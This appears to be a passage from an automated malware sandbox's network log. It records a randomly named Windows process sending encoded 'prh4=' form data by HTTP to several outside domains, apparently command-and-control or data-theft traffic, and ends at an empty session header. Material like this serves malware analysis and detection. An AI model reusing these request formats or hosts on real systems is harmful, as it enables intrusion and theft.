Nov 20, 2024 09:24:15.302953959 CET	500	OUT	GET /bwyw/?prh4=zeqgG3zf3rSD22A3/l1gTLGQ/sW8joOuTT/213oW5xKBpEmM0JRqJaaJcKUMxr+7Esc9obOTS2jlvNaYH8wfdJGRHCEAKXdxR5M68AEOT1S+b5dkfA==&_VK8=7pXD8zQxGFxP HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.superiorfencing.net Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.2; ARM; Trident/7.0; Touch; rv:11.0; WPDesktop; Lumia 521) like Gecko
Nov 20, 2024 09:24:16.165601015 CET	479	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Nov 2024 08:24:16 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.10	49997	188.114.97.3	80	6808	C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 09:24:21.241427898 CET	771	OUT	POST /2nga/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Host: www.beylikduzu616161.xyz Origin: http://www.beylikduzu616161.xyz Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Content-Length: 193 Connection: close Referer: http://www.beylikduzu616161.xyz/2nga/ User-Agent: Mozilla/5.0 (Windows NT 6.2; ARM; Trident/7.0; Touch; rv:11.0; WPDesktop; Lumia 521) like Gecko Data Raw: 70 72 68 34 3d 64 30 73 37 7a 51 51 51 72 62 36 53 66 43 6c 39 55 5a 77 6d 76 74 64 4f 58 55 69 4e 50 73 6c 6d 41 33 43 6f 67 64 67 67 30 55 51 78 56 6d 77 73 49 41 4a 65 39 34 32 6b 30 57 46 69 37 65 37 51 4e 48 76 67 33 34 7a 34 58 62 2b 75 6d 62 65 2f 4b 66 4b 41 43 65 30 44 4c 33 48 4f 78 6a 6d 41 55 4b 6d 38 58 6e 4c 50 4c 61 6d 53 32 6b 59 6f 77 55 33 6e 42 37 54 75 54 73 4a 61 5a 34 6e 43 50 73 51 5a 69 47 44 4c 2f 6f 76 53 6b 6c 6c 73 6a 38 36 4f 78 64 76 45 63 53 52 73 58 44 77 61 4a 30 53 4f 4f 4d 6a 72 55 6f 7a 4b 64 37 54 75 70 61 62 41 33 56 73 56 69 41 55 4f Data Ascii: prh4=d0s7zQQQrb6SfCl9UZwmvtdOXUiNPslmA3Cogdgg0UQxVmwsIAJe942k0WFi7e7QNHvg34z4Xb+umbe/KfKACe0DL3HOxjmAUKm8XnLPLamS2kYowU3nB7TuTsJaZ4nCPsQZiGDL/ovSkllsj86OxdvEcSRsXDwaJ0SOOMjrUozKd7TupabA3VsViAUO
Nov 20, 2024 09:24:21.911703110 CET	828	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Nov 2024 08:24:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vytrQtgBdKwlAlT9EYzT6Cw0%2Bc%2Br1ZLd27pvzb2SIoHrqxxbiEO3QCFY%2B%2F7iaBU1AvcHHEVQG0JX5Sj2G9vAXeT%2B9QqALCXjCErxAhthD%2FAtUv7qKLrqAhCoiZj1hKVEP%2BXtC9RoPMnfLEM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e570b0f6d3d0c94-EWR Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1451&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=771&delivery_rate=0&cwnd=144&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 31 34 0d 0a 1f 8b 08 00 00 00 00 00 00 03 03 00 00 00 00 00 00 00 00 00 0d 0a Data Ascii: 14
Nov 20, 2024 09:24:21.911828995 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.10	49998	188.114.97.3	80	6808	C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 09:24:23.795907021 CET	795	OUT	POST /2nga/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Host: www.beylikduzu616161.xyz Origin: http://www.beylikduzu616161.xyz Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Content-Length: 217 Connection: close Referer: http://www.beylikduzu616161.xyz/2nga/ User-Agent: Mozilla/5.0 (Windows NT 6.2; ARM; Trident/7.0; Touch; rv:11.0; WPDesktop; Lumia 521) like Gecko Data Raw: 70 72 68 34 3d 64 30 73 37 7a 51 51 51 72 62 36 53 65 6d 68 39 53 34 77 6d 70 4e 64 42 4c 6b 69 4e 47 4d 6c 69 41 77 4b 6f 67 63 6b 77 33 67 38 78 56 48 41 73 4a 42 4a 65 2b 34 32 6b 73 6d 46 74 6d 4f 36 39 4e 48 69 66 33 36 33 34 58 61 65 75 6d 5a 32 2f 4b 73 69 48 4e 75 30 57 4e 33 48 41 2b 44 6d 41 55 4b 6d 38 58 6e 66 31 4c 65 4b 53 32 56 49 6f 77 77 6a 6b 50 62 54 76 53 73 4a 61 64 34 6e 47 50 73 51 76 69 48 65 51 2f 75 72 53 6b 6b 56 73 67 6f 4f 52 2f 64 75 42 53 79 52 2f 62 57 45 53 4a 56 71 32 43 64 58 43 4e 72 2f 52 58 36 75 70 34 4c 36 58 6b 69 77 62 73 47 68 6b 62 6a 2b 46 6c 32 31 53 78 61 44 62 53 50 41 2f 37 6f 71 69 77 41 3d 3d Data Ascii: prh4=d0s7zQQQrb6Semh9S4wmpNdBLkiNGMliAwKogckw3g8xVHAsJBJe+42ksmFtmO69NHif3634XaeumZ2/KsiHNu0WN3HA+DmAUKm8Xnf1LeKS2VIowwjkPbTvSsJad4nGPsQviHeQ/urSkkVsgoOR/duBSyR/bWESJVq2CdXCNr/RX6up4L6XkiwbsGhkbj+Fl21SxaDbSPA/7oqiwA==
Nov 20, 2024 09:24:24.418405056 CET	823	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Nov 2024 08:24:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jK6GRdkqr0V%2FcubRNuuDf7if%2BJagemLfpk3Qgir8VQFqkKxNWsRpTkr2sVxR0BKNkIvwM6iXmkHDZzjG3b2zNx6AZTjCDN%2FqEnKG6VD2q0FjuHfJOqnR4R%2BH2NwreTuYE7iXNUSPQV%2BfxE4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e570b1f2af441c3-EWR Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2051&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=795&delivery_rate=0&cwnd=73&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 31 34 0d 0a 1f 8b 08 00 00 00 00 00 00 03 03 00 00 00 00 00 00 00 00 00 0d 0a Data Ascii: 14
Nov 20, 2024 09:24:24.418519020 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.10	49999	188.114.97.3	80	6808	C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 09:24:26.367635012 CET	1808	OUT	POST /2nga/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Host: www.beylikduzu616161.xyz Origin: http://www.beylikduzu616161.xyz Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Content-Length: 1229 Connection: close Referer: http://www.beylikduzu616161.xyz/2nga/ User-Agent: Mozilla/5.0 (Windows NT 6.2; ARM; Trident/7.0; Touch; rv:11.0; WPDesktop; Lumia 521) like Gecko Data Raw: 70 72 68 34 3d 64 30 73 37 7a 51 51 51 72 62 36 53 65 6d 68 39 53 34 77 6d 70 4e 64 42 4c 6b 69 4e 47 4d 6c 69 41 77 4b 6f 67 63 6b 77 33 67 30 78 55 31 59 73 49 69 68 65 2f 34 32 6b 79 57 45 4b 6d 4f 36 46 4e 48 71 62 33 36 36 44 58 66 61 75 6d 36 4f 2f 64 4e 69 48 57 65 30 57 41 58 48 4e 78 6a 6e 4b 55 4b 32 34 58 6e 50 31 4c 65 4b 53 32 57 67 6f 33 6b 33 6b 66 72 54 75 54 73 4a 57 5a 34 6e 2b 50 73 34 2f 69 48 4c 6c 2f 65 4c 53 6e 45 46 73 69 62 6d 52 67 74 75 44 66 53 51 69 62 57 42 4d 4a 56 32 63 43 64 6a 6b 4e 72 48 52 61 73 62 77 6e 34 43 56 33 55 55 6d 74 56 64 48 49 45 47 68 76 6c 63 71 33 5a 7a 70 46 37 4e 71 78 73 72 6c 73 4b 56 32 61 56 4f 61 4d 71 68 4f 54 2b 54 35 56 62 43 46 36 52 68 6f 76 34 39 62 61 4c 49 47 54 45 45 51 6b 39 61 73 53 4c 31 56 73 49 2f 65 43 72 34 77 38 63 58 37 44 6d 35 55 6c 45 47 77 51 38 75 33 36 63 2b 6d 70 76 77 54 58 30 4f 67 4a 70 71 76 64 53 50 49 52 4c 38 64 36 63 56 42 6e 7a 44 48 6a 47 6f 55 6f 35 32 37 58 2b 72 32 45 6e 63 47 2b 6b 64 42 70 53 4e 36 36 [TRUNCATED] Data Ascii: prh4=d0s7zQQQrb6Semh9S4wmpNdBLkiNGMliAwKogckw3g0xU1YsIihe/42kyWEKmO6FNHqb366DXfaum6O/dNiHWe0WAXHNxjnKUK24XnP1LeKS2Wgo3k3kfrTuTsJWZ4n+Ps4/iHLl/eLSnEFsibmRgtuDfSQibWBMJV2cCdjkNrHRasbwn4CV3UUmtVdHIEGhvlcq3ZzpF7NqxsrlsKV2aVOaMqhOT+T5VbCF6Rhov49baLIGTEEQk9asSL1VsI/eCr4w8cX7Dm5UlEGwQ8u36c+mpvwTX0OgJpqvdSPIRL8d6cVBnzDHjGoUo527X+r2EncG+kdBpSN66Ss/Gp9WqUQRIAlUOJWk6tqeva5dV/Maln9hu8c9LxP1E7gOfzCD85rLYw+1MZJgLu3o+y/dlfpwwjrpO+LUF9udzDT6atnyAAiSh3e7WDfSiswDmAdRXHwVwl/lE3ddCQeOfLvsbigwIlFI0bAq0zaRCeCcSZ8wPMbee62H2NCE3afvZRsxUxCRNp7JTPLHvOJ+Ystuquu2/qEExPFAoFtsFdVre3D1m5h2nuMjB0srgrVAh/xTBep7kGKo6Ijh7xB7Yu8/0L95UnPnX9KiyYEg001MC0VWDBi6znQfXl90ey5kI4SWejlcc3Hojq8/yYuTeLdo5zXRvkLWdaghyDOARoy+Qx0WC60Bdy0cn06meggOU3x4Y04ply+kPnvUuJlLyO1CwboxXz+9aGEjJHr3hnhDfXO/r1QmyZLWRP4nRN2cAnMwg1U0DHtBYUBhPI0dpBmseNnGDiTcxXbQh+SQ8P+LQzoYr1rizAoV8iP9dt5/IrSHczfKzI+d/PuiXtW/IGypPbkl6KYcN+FQUYFHiUucvr7cL5m4vyGqUUk4pXNAEXeY+1hFPy2VPh03xAEfJHapJ0AMv7FLTjDRkIRMV5FWKwy9xjswwsRJZelA4/pyNMTEyRu4M3flhtTnICONQSPrYLEpEfl+DfJVcizLlQsQ4PCiU5Q [TRUNCATED]
Nov 20, 2024 09:24:26.987242937 CET	832	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Nov 2024 08:24:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hJxT0vs2sBoFq%2F3eft%2B6AfUPnysfAHJBCvGAXR80Koy0%2FbrZY2434rmA6GFJH8WqJtN6e0WLb3X77yochaZp35cAK3bRae%2BiD9qgDPT0O0bVo1%2BAyiS%2F6MHwQbmTmFv6m5vgjmGzxp8KcMw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e570b2f39057c82-EWR Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1787&sent=1&recv=4&lost=0&retrans=0&sent_bytes=0&recv_bytes=1808&delivery_rate=0&cwnd=200&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 31 34 0d 0a 1f 8b 08 00 00 00 00 00 00 03 03 00 00 00 00 00 00 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 140

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.10	50000	188.114.97.3	80	6808	C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 09:24:28.911557913 CET	501	OUT	GET /2nga/?prh4=Q2EbwnYhq4vEVEYycJMqtdR4BlKtLPQlBliPtc8X0AIyDwowOCFGn/661E09vvaaF3LvgpjgW8Wvr6GWd63UJrhBCWi6xUDdTpqdehfcV6DO82Y8sA==&_VK8=7pXD8zQxGFxP HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.beylikduzu616161.xyz Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.2; ARM; Trident/7.0; Touch; rv:11.0; WPDesktop; Lumia 521) like Gecko
Nov 20, 2024 09:24:29.561872005 CET	777	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Nov 2024 08:24:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IYIazJ6H8qLVrGgl05NVc8nJBB6mtPopQ03p%2FT4WiLATGV9QSZHnsehaMr7VOY2Z2HjM8TrPtHwV%2FXP3s4RW1I%2FyIkJuJlAVLl3LNlGUf5uByvMkC8y4tVRUWI235p7r3x%2FzK3b8AzjoKyo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e570b3f3ba8729f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1805&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=501&delivery_rate=0&cwnd=157&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.10	50001	118.107.250.103	80	6808	C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 09:24:35.067323923 CET	738	OUT	POST /gxyh/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Host: www.zxyck.net Origin: http://www.zxyck.net Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Content-Length: 193 Connection: close Referer: http://www.zxyck.net/gxyh/ User-Agent: Mozilla/5.0 (Windows NT 6.2; ARM; Trident/7.0; Touch; rv:11.0; WPDesktop; Lumia 521) like Gecko Data Raw: 70 72 68 34 3d 38 67 48 6f 74 56 30 30 6d 75 78 56 64 2f 45 77 78 34 44 52 6f 79 68 6a 4c 45 76 36 34 43 64 6b 6d 7a 4e 65 4d 53 71 38 33 54 70 6a 78 31 59 6c 69 4e 71 47 63 58 68 55 76 2f 34 4f 64 4e 4d 4a 65 64 68 64 53 79 6b 2b 4b 31 52 55 6f 37 59 6e 4c 62 4c 7a 79 67 4d 42 59 71 45 35 44 73 42 6e 67 37 6f 6f 78 35 38 71 78 6c 43 73 62 55 79 69 37 41 32 68 56 74 74 69 6c 48 4d 4d 4b 34 4a 43 75 5a 2f 5a 6a 58 38 6e 6a 57 38 77 38 31 37 69 49 64 77 32 64 6d 47 54 30 6b 72 34 74 5a 35 4e 36 6d 6f 32 77 34 67 6e 62 4a 6a 6a 70 38 6c 68 59 76 4b 35 4f 55 41 49 4d 59 39 4e Data Ascii: prh4=8gHotV00muxVd/Ewx4DRoyhjLEv64CdkmzNeMSq83Tpjx1YliNqGcXhUv/4OdNMJedhdSyk+K1RUo7YnLbLzygMBYqE5DsBng7oox58qxlCsbUyi7A2hVttilHMMK4JCuZ/ZjX8njW8w817iIdw2dmGT0kr4tZ5N6mo2w4gnbJjjp8lhYvK5OUAIMY9N
Nov 20, 2024 09:24:35.861618996 CET	308	IN	HTTP/1.1 200 OK Server: Tengine Date: Wed, 20 Nov 2024 08:23:39 GMT Content-Type: text/html;charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Strict-Transport-Security: max-age=31536000 Content-Encoding: gzip Data Raw: 32 65 0d 0a 1f 8b 08 00 00 00 00 00 00 03 d3 2f 2f 2f d7 07 e2 a2 fc fc 12 fd aa 8a ca e4 6c bd bc d4 12 fd f4 8a ca 0c 3d 00 b4 92 fd 2c 1c 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 2e///l=,0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.10	50002	118.107.250.103	80	6808	C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 09:24:37.623658895 CET	762	OUT	POST /gxyh/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Host: www.zxyck.net Origin: http://www.zxyck.net Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Content-Length: 217 Connection: close Referer: http://www.zxyck.net/gxyh/ User-Agent: Mozilla/5.0 (Windows NT 6.2; ARM; Trident/7.0; Touch; rv:11.0; WPDesktop; Lumia 521) like Gecko Data Raw: 70 72 68 34 3d 38 67 48 6f 74 56 30 30 6d 75 78 56 66 66 30 77 32 5a 44 52 75 53 68 69 56 30 76 36 71 43 64 67 6d 7a 42 65 4d 54 2f 68 33 68 39 6a 77 51 6b 6c 77 38 71 47 66 58 68 55 6b 66 35 4b 54 74 4d 53 65 64 6b 69 53 78 38 2b 4b 31 46 55 6f 35 51 6e 4c 4b 4c 79 67 41 4d 48 51 4b 45 2f 48 73 42 6e 67 37 6f 6f 78 35 6f 41 78 6c 61 73 61 6b 43 69 30 43 65 2b 57 74 74 68 78 58 4d 4d 4f 34 49 71 75 5a 2f 33 6a 54 39 76 6a 51 34 77 38 77 66 69 49 73 77 78 45 32 47 5a 37 45 72 71 68 35 30 55 39 44 34 74 39 4f 4d 50 4c 61 7a 52 6a 39 59 6d 4a 2b 72 75 64 6a 63 47 43 65 49 6e 4c 47 32 6c 52 64 69 6a 38 78 48 57 65 37 30 6d 38 71 6b 45 7a 41 3d 3d Data Ascii: prh4=8gHotV00muxVff0w2ZDRuShiV0v6qCdgmzBeMT/h3h9jwQklw8qGfXhUkf5KTtMSedkiSx8+K1FUo5QnLKLygAMHQKE/HsBng7oox5oAxlasakCi0Ce+WtthxXMMO4IquZ/3jT9vjQ4w8wfiIswxE2GZ7Erqh50U9D4t9OMPLazRj9YmJ+rudjcGCeInLG2lRdij8xHWe70m8qkEzA==
Nov 20, 2024 09:24:38.485940933 CET	308	IN	HTTP/1.1 200 OK Server: Tengine Date: Wed, 20 Nov 2024 08:23:41 GMT Content-Type: text/html;charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Strict-Transport-Security: max-age=31536000 Content-Encoding: gzip Data Raw: 32 65 0d 0a 1f 8b 08 00 00 00 00 00 00 03 d3 2f 2f 2f d7 07 e2 a2 fc fc 12 fd aa 8a ca e4 6c bd bc d4 12 fd f4 8a ca 0c 3d 00 b4 92 fd 2c 1c 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 2e///l=,0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.10	50003	118.107.250.103	80	6808	C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 09:24:40.167831898 CET	1775	OUT	POST /gxyh/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Host: www.zxyck.net Origin: http://www.zxyck.net Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Content-Length: 1229 Connection: close Referer: http://www.zxyck.net/gxyh/ User-Agent: Mozilla/5.0 (Windows NT 6.2; ARM; Trident/7.0; Touch; rv:11.0; WPDesktop; Lumia 521) like Gecko Data Raw: 70 72 68 34 3d 38 67 48 6f 74 56 30 30 6d 75 78 56 66 66 30 77 32 5a 44 52 75 53 68 69 56 30 76 36 71 43 64 67 6d 7a 42 65 4d 54 2f 68 33 68 6c 6a 77 6d 77 6c 68 72 47 47 65 58 68 55 6e 66 35 4a 54 74 4e 49 65 5a 49 6d 53 32 31 44 4b 33 39 55 70 62 6f 6e 65 4f 58 79 35 77 4d 48 63 71 45 36 44 73 42 79 67 37 34 6b 78 35 34 41 78 6c 61 73 61 6d 61 69 77 51 32 2b 61 4e 74 69 6c 48 4d 32 4b 34 4a 48 75 5a 47 4b 6a 54 77 4e 69 67 59 77 38 51 50 69 4b 2b 59 78 62 6d 47 66 38 45 71 35 68 35 34 78 39 44 4d 50 39 4b 45 70 4c 61 37 52 75 70 64 73 4e 2f 37 6c 41 6b 73 41 4f 2f 46 45 41 32 54 5a 59 65 66 6e 38 6a 6d 4e 46 4a 31 4a 30 72 45 4a 67 79 51 46 67 33 75 58 70 31 53 69 73 52 74 32 62 41 59 61 44 36 64 39 4b 4a 42 6b 39 51 46 48 30 59 7a 34 67 54 4c 63 33 35 53 53 74 4c 46 32 34 6b 58 4f 63 4a 4a 41 32 58 44 64 46 63 59 34 34 65 38 6e 69 4e 47 2b 56 72 31 61 47 76 77 79 35 5a 61 34 46 4b 73 47 68 44 77 4a 53 52 49 76 34 55 33 4f 62 36 4d 7a 74 6f 5a 78 65 4c 53 6c 39 72 6c 4e 36 31 52 44 66 78 2b 51 35 [TRUNCATED] Data Ascii: prh4=8gHotV00muxVff0w2ZDRuShiV0v6qCdgmzBeMT/h3hljwmwlhrGGeXhUnf5JTtNIeZImS21DK39UpboneOXy5wMHcqE6DsByg74kx54AxlasamaiwQ2+aNtilHM2K4JHuZGKjTwNigYw8QPiK+YxbmGf8Eq5h54x9DMP9KEpLa7RupdsN/7lAksAO/FEA2TZYefn8jmNFJ1J0rEJgyQFg3uXp1SisRt2bAYaD6d9KJBk9QFH0Yz4gTLc35SStLF24kXOcJJA2XDdFcY44e8niNG+Vr1aGvwy5Za4FKsGhDwJSRIv4U3Ob6MztoZxeLSl9rlN61RDfx+Q5JdCrQhH230x22bE6V+i146TvqPt9YOx0abyU5AigJlGV9dDrQ09V+wjtYzzOoj12fcc3aO8uLqQhVLCvaiv1EHp/zUeMRJ2U+dmhN/exVCHv6RbBZ1tx/wmnM4A2lVrxmJygSl054zLOwK6jfzlxjjcOzC4y1iU7RpHmYktAEFOJifOCPrEgWZYqMH6oiS9Iv4JH+KA7Usx8BHeUaCXget9uVQ3NSn+txtx8eLYfYdQioA0NqeTrjQFH4AJ6r7MNdhQBIztw7kXnYcqqwc+RmYbOJrEzdhYSjZb+KSTWM2Z0oxUQdqKFovZhdvHtmyTehbGYE2O6V22mKw3VUV+NcobcWsT+eozPOxzSa7GYZpG/tQxRSHDkebm0js4ooeyLg3bZjbuUIfN1/PdSX99b/ijkKOuKvV5BHAub1RX0QmGATRWBzQLeWcIRk9nKgA3OOM/a+kXCdpVqFUb1EXye9BZr0Yw8d+vJTZaXHC5um7FD11XKPkEL3RraDUllaIBxWD/7YElRAUC8NewYSykrCWCsfIJPwfBgpcjfexasyPH54/Tzw3qoQEmSzULPT4dWQ2uJH73c8tpbYMqNjicJXzvEsoiOCMukdeeGGZZ0H59EYQ7RX9FbAuLyYoUzTRYKFdt8Gh+Sf6GyrPRjTQwCs0kPAvlNQYaIkL [TRUNCATED]
Nov 20, 2024 09:24:41.033252001 CET	308	IN	HTTP/1.1 200 OK Server: Tengine Date: Wed, 20 Nov 2024 08:23:44 GMT Content-Type: text/html;charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Strict-Transport-Security: max-age=31536000 Content-Encoding: gzip Data Raw: 32 65 0d 0a 1f 8b 08 00 00 00 00 00 00 03 d3 2f 2f 2f d7 07 e2 a2 fc fc 12 fd aa 8a ca e4 6c bd bc d4 12 fd f4 8a ca 0c 3d 00 b4 92 fd 2c 1c 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 2e///l=,0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.10	50004	118.107.250.103	80	6808	C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe

Timestamp	Bytes transferred	Direction	Data
